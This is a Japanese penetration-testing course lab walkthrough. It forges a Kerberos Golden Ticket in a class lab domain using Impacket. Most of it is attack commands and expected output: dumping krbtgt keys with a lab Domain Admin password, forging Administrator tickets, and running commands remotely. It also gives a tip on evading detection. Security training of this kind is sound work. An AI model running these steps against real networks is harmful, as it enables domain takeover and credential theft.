Lab 5.3: Golden Ticket
オンライン演習
接続性: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
krbtgt
アカウントの Kerberos キーを抽出します- 取得したキーを使用してゴールデンチケットを作成します
- ゴールデンチケットを使用してドメインにアクセスします
Walkthrough Video
Lab セットアップ
使用するVM:
- Linux
SEC560 Linux VMから dc01.hiboxy.com
(10.130.10.10) にpingできる(かつ名前解決できる)ことを確認してください:
コマンド
ping -c 4 10.130.10.10
想定される結果
sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=66.8 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=66.0 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=67.0 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=66.9 ms
--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 65.950/66.668/66.993/0.421 ms
Lab – ステップバイステップ手順
hiboxy.com
ドメインのDCにアクセスします。Kerberoast labで、ドメイン管理者権限を持つ SVC_SQLService2
Domain Admin アカウントを侵害したことを思い出してください。ここから、ゴールデンチケットの作成に使用できる krbtgt
アカウントのハッシュを取得することが目標です。
1: krbtgt アカウントのシークレットを抽出する
Kerberos labで回収したDomain Adminアカウントの認証情報と secretsdump.py
を使用して、ドメインコントローラーから krbtgt
アカウントのアカウントシークレットを抽出します。Secretsdump.pyは優れた Impacket ツールスイートの一部です。
Kerberos labで回収したドメイン管理者アカウントは次のとおりです:
- Domain:
hiboxy.com
- Username:
SVC_SQLService2
- Password:
^Cakemaker
念のため、有効なゴールデンチケットを生成するには、krbtgt
アカウントのNTハッシュまたはAESキー(Kerberos暗号化キー)のいずれかを抽出する必要があります。コマンドの構文は次のとおりです:
コマンド例
secretsdump.py domain/username@target options
同じ(または類似の)コマンドを再度使用する場合、時間を節約するために、ユーザー名の後に :password
(文字通り password
ではなく、実際のアカウントパスワード)を追加することもできます。
-just-dc-user
オプションを使用して、krbtgt
アカウントのパスワードハッシュを抽出します。
secretsdump.py
を使用して krbtgt
アカウントのパスワードハッシュを取得します:
コマンド
secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user krbtgt
想定される結果
sec560@560vm:~$ secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user krbtgt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f0cc426747b3e28d5d16baed2c98d6d:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:73a1ab696c7fe0764307512e3bfe23e25fcdedb15e520a95489c8be946a52554
krbtgt:aes128-cts-hmac-sha1-96:9dcebb78b8ff5b521e449edee03126c9
krbtgt:des-cbc-md5:d0d591a479627ad0
[*] Cleaning up...
コマンドの出力には、Kerberosキーが抽出されていることが明確に表示されるはずです。上記の出力では、NTハッシュ(RC4暗号化キー)とAES暗号化キーの両方が抽出されていることがわかります!素晴らしい!
NTハッシュの変更
ここのNTハッシュは意図的に変更されています。ハッシュはラボの構築時にWindowsによってランダムに生成されるため、この値を事前に共有することはできません!
2: ゴールデンチケットを作成するためのドメイン情報を取得する
前のステップで、ゴールデンチケットを作成するための最も重要な(そして入手が最も困難な)情報、TGTの暗号化に使用されるkrbtgtアカウントのパスワードハッシュを取得しました。
とはいえ、ゴールデンチケットを正常に作成するには、ドメインに関するもう少し情報を取得する必要があります。
まず、ドメインの完全修飾ドメイン名を知る必要があります。この情報は、ドメインに参加しているターゲットマシンで ipconfig /all
コマンドを実行することで見つけることができます。
wmiexec.py
と ipconfig /all
を使用してドメイン名を取得します:
コマンド
wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 ipconfig /all
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 ipconfig /all
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
Windows IP Configuration
Host Name . . . . . . . . . . . . : dc01
Primary Dns Suffix . . . . . . . : hiboxy.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : us-east-1.ec2-utilities.amazonaws.com
us-east-2.compute.internal
us-east-2.ec2-utilities.amazonaws.com
hiboxy.com
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : hiboxy.com
Description . . . . . . . . . . . : Intel(R) 82599 Virtual Function
Physical Address. . . . . . . . . : 06-CD-17-EC-44-91
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::fa69:b2e6:c644:1075%7(Preferred)
IPv4 Address. . . . . . . . . . . : 10.130.10.4(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
...truncated for brevity...
FQDNは Primary DNS Suffix
セクションにあり、今回の場合は hiboxy.com
になります。もちろん、すでにそれは知っていましたが、確認しても損はありません。
ドメインSIDも必要になります。これを見つけるために、Impacketスイートの別のツールである lookupsid.py
を使用します。このスクリプトは、以前に使用したImpacketコマンドと同じターゲット構文を使用します。
ラボの前半と同じターゲット情報を使用して lookupsid.py
コマンドを実行します。このコマンドを使用して、520未満のRIDを取得します:
コマンド
lookupsid.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 520
想定される結果
sec560@560vm:~$ lookupsid.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 520
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4148103352-2461449634-48610133
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HIBOXY\Administrator (SidTypeUser)
501: HIBOXY\Guest (SidTypeUser)
502: HIBOXY\krbtgt (SidTypeUser)
512: HIBOXY\Domain Admins (SidTypeGroup)
513: HIBOXY\Domain Users (SidTypeGroup)
514: HIBOXY\Domain Guests (SidTypeGroup)
515: HIBOXY\Domain Computers (SidTypeGroup)
516: HIBOXY\Domain Controllers (SidTypeGroup)
517: HIBOXY\Cert Publishers (SidTypeAlias)
518: HIBOXY\Schema Admins (SidTypeGroup)
519: HIBOXY\Enterprise Admins (SidTypeGroup)
ドメインSIDは出力の最初に表示されます。これは S-1-5
で始まります(上記のハイライトされたテキストを参照)。
ドメインSIDは異なります!
上記に表示されているSID(S-1-5-21-4148103352-2461449634-48610133
)は、あなたが見るものとは異なります。画面に表示されている値を使用してください!この値は環境の構築時にランダムに生成されます。
3: ゴールデンチケットを作成する
上記の情報があれば、ゴールデンチケットを作成できます。Linux VMから、Impacketスイートのさらに別のツールである ticketer.py
を使用してこれを行うことができます!Windowsマシンでは、代わりにMimikatzやRubeusなどのツールを使用できます。
次のオプションを指定して ticketer.py
スクリプトを使用します:
-domain
: ターゲットドメイン名はhiboxy.com
-domain-sid
: ターゲットドメインSID(セキュリティ識別子)-aesKey
: 以前に盗んだAESキー(AES128またはAES256キーのいずれか)を使用してゴールデンチケットを作成します- 最後に、
Administrator
アカウント用のゴールデンチケットを作成することを指定します
コマンド
SIDとハッシュが変更されました!
以下に示すドメインSIDとAESキーは、画面に表示されるものと一致しません。ここに示されている値の代わりに、画面に表示されている値を使用してください。
ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ -aesKey REPLACETHISfe23e25fcdedb15e520a95489c8be946a52554 Administrator 2>/dev/null
想定される結果
sec560@560vm:~$ ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-4148103352-2461449634-48610133 -aesKey 73a1ab696c7fe0764307512e3bfe23e25fcdedb15e520a95489c8be946a52554 Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for hiboxy.com/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
ドメインSIDとハッシュは異なります!
ドメインSIDとkrbtgtアカウントのハッシュは、いずれもラボの構築時にランダムに生成されます。このラボに表示されている値ではなく、画面に表示されている値を使用する必要があります!
2>/dev/null
について興味がありますか?
Impacketの現在のリビジョンは、警告を生成する非推奨のPython関数をいくつか使用しています。コマンドの最後にある 2>/dev/null
はこれらの警告を抑制します。興味がある場合は、コマンドのこの部分を削除して、生成される警告を確認できます。
回避に関する小さな注意事項: ここでは krbtgt アカウントのAESキーを使用しました。典型的な環境では、AESはより一般的に使用されているKerberos暗号化タイプであり、(NTハッシュを介した)RC4暗号化の使用は、それ自体が異常であり、さらなる調査が必要になります。
4: ゴールデンチケットを使用する
実際のシナリオでは、ゴールデンチケットをドメインに参加しているマシンのメモリにロードして、ドメイン管理者権限を再度取得できます。ペネトレーションテストの実施においては、これには細心の注意を払ってください。多くの場合、ゴールデンチケットの生成はスコープ外と見なされますが、当社の主力ペネトレーションテストコースでは、原理を説明することが価値があると考えています。
いくつかのリファレンスドキュメントを提供するために、ゴールデンチケットは、Mimikatz(Windows)などのツールを使用してメモリにロードできます:
コマンド例(実行しないでください)
kerberos::ptt C:\bin\ticket.kirbi
または Impacket スイート(Linux):
コマンド
export KRB5CCNAME=Administrator.ccache
チケットを使用して file01.hiboxy.com
(10.130.10.44)システムにアクセスしましょう。wmiexec.py
スクリプトを再度使用できますが、認証情報を指定する代わりに、-k
を使用してKerberos認証を使用し、-no-pass
を使用してパスワードを指定する必要がないようにします。また、-dc-ip 10.130.10.4
を指定して、wmiexecにドメインコントローラーのIPアドレスを伝える必要があります。
それでは、攻撃を実行しましょう!
Administrator.ccacheチケットファイルをエクスポートした後、-k -no-pass
引数を使用して、wmiexecやpsexecなどのImpacketスイートの任意のツールを使用できます。
コマンド
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com hostname
想定される結果
sec560@slingshot:~$ export KRB5CCNAME=Administrator.ccache
sec560@slingshot:~$ wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com hostname
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
file01
エラーが発生しましたか?
最も可能性の高い問題は、ドメインSIDまたは krbtgt
ユーザーのAESキーのコピー&ペーストミスです。これらの値(それぞれ lookupsid.py
と secretsdump.py
から)を再確認して、もう一度試してください。
5: 別のチケット
Administrator
アカウントを使用しました。偽造されたユーザーとIDを試すとどうなるか見てみましょう。
偽のユーザー名 pwned
でゴールデンチケットを作成します:
コマンド
SIDとハッシュが変更されました!
以下に示すドメインSIDとAESキーは、画面に表示されるものと一致しません。ここに示されている値の代わりに、画面に表示されている値を使用してください。
ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ -aesKey REPLACETHISfe23e25fcdedb15e520a95489c8be946a52554 pwned 2>/dev/null
想定される結果
sec560@560vm:~$ ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-192933032-935247328-1510830890 -aesKey 18323b71ce23ebe30a7cbeaa4860240b pwned 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for hiboxy.com/pwned
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in pwned.ccache
新しいチケットを使用して、whoami を使用してユーザー名を file01.hiboxy.com
に尋ねます。
コマンド
export KRB5CCNAME=pwned.ccache
wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com whoami
想定される結果
sec560@560vm:~$ export KRB5CCNAME=pwned.ccache
sec560@560vm:~$ wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com whoami
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)
完全にパッチが適用されたWindows 2022ドメインコントローラーは、ユーザー名が(数値)IDと一致することを確認するために検証します。完全に更新されたWindowsネットワークを使用しているため、この攻撃はここでは機能しませんでしたが、ペネトレーションテストでは機能する可能性があります!
まとめ
このラボでは、管理者権限を持つドメインユーザーを使用して、krbtgt ユーザーからKerberosキーを取得する方法を確認しました。この情報と、完全修飾ドメイン名やドメインSIDなどの簡単に取得できるドメイン情報により、ゴールデンチケットを作成し、このチケットを使用して管理者権限でドメインにアクセスすることができました。